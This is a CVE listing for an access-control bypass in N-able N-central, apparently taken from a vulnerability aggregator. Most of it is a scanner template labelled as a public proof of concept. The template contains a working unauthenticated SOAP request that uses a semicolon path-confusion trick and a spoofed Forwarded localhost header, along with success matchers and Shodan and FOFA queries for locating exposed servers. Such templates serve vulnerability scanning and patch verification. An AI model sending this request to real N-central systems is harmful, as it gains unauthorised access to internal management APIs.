CVE-2026-86206: N-able N-central - Access Control Bypass via Path Confusion and Forwarded Header Spoofing

日期: 2026-09-16 | 影响软件: 未知 | PoC: 已公开

漏洞描述

A vulnerability in the N-central internal API access control filter allows unauthorised access to internal APIs. This is fixed in N-central 2026.3 HF3 and 2026.4

PoC代码[已公开]

id: CVE-2026-86206

info:
  name: N-able N-central - Access Control Bypass via Path Confusion and Forwarded Header Spoofing
  author: rapid7,DhiyaneshDk
  severity: critical
  description: |
    A vulnerability in the N-central internal API access control filter allows unauthorised access to internal APIs. This is fixed in N-central 2026.3 HF3 and 2026.4
  impact: |
    Unauthorised attackers can access internal APIs, potentially leading to data exposure or manipulation.
  remediation: Update to version 2026.3 HF3 or 2026.4.
  reference:
    - https://www.rapid7.com/blog/post/ve-cve-2026-86206-cve-2026-86207-n-able-n-central-authentication-bypass-fixed/
    - https://me.n-able.com/s/security-advisory/aArVy0000002LTNKA2/cve202686206-access-control-filter-bypass-allows-unauthorised-access-to-apis
    - https://documentation.n-able.com/N-central/Release_Notes/GA/Content/N-central_2026.3_HF3_Release_Notes.htm
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-86206
    epss-score: 0.00676
    epss-percentile: 0.50295
    cwe-id: CWE-284
  metadata:
    verified: true
    max-request: 1
    vendor: n-able
    product: n-central
    shodan-query: title:"N-central"
    fofa-query: title="N-central"
  tags: cve,cve2026,n-able,n-central,auth-bypass,acl-bypass,soap,vkev

http:
  - raw:
      - |
        POST /dms;/services/ServerUI HTTP/1.1
        Host: {{Hostname}}
        Forwarded: for="127.0.0.\1"
        Content-Type: text/xml; charset=utf-8
        SOAPAction: ""

        <?xml version="1.0" encoding="UTF-8"?>
        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ei="http://ei.server.nable.com">
          <soapenv:Body>
            <ei:sessionHello>
              <ei:in0>3</ei:in0>
            </ei:sessionHello>
          </soapenv:Body>
        </soapenv:Envelope>

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, 'SessionID')"
          - "contains(content_type, 'text/xml')"
        condition: and

      - type: dsl
        dsl:
          - "status_code == 500"
          - "contains(body, 'ServerDMS')"
          - "contains(content_type, 'text/xml')"
        condition: and
# digest: 490a00463044022009250111d8c9bb27258180930ae11cf433904460a8931cf115a98be66a70022c02204f6b570619c8ede70dac8586187e1671b81beba307023865b02e1bec14ded034:922c64590222798bb761d5b6d8e72950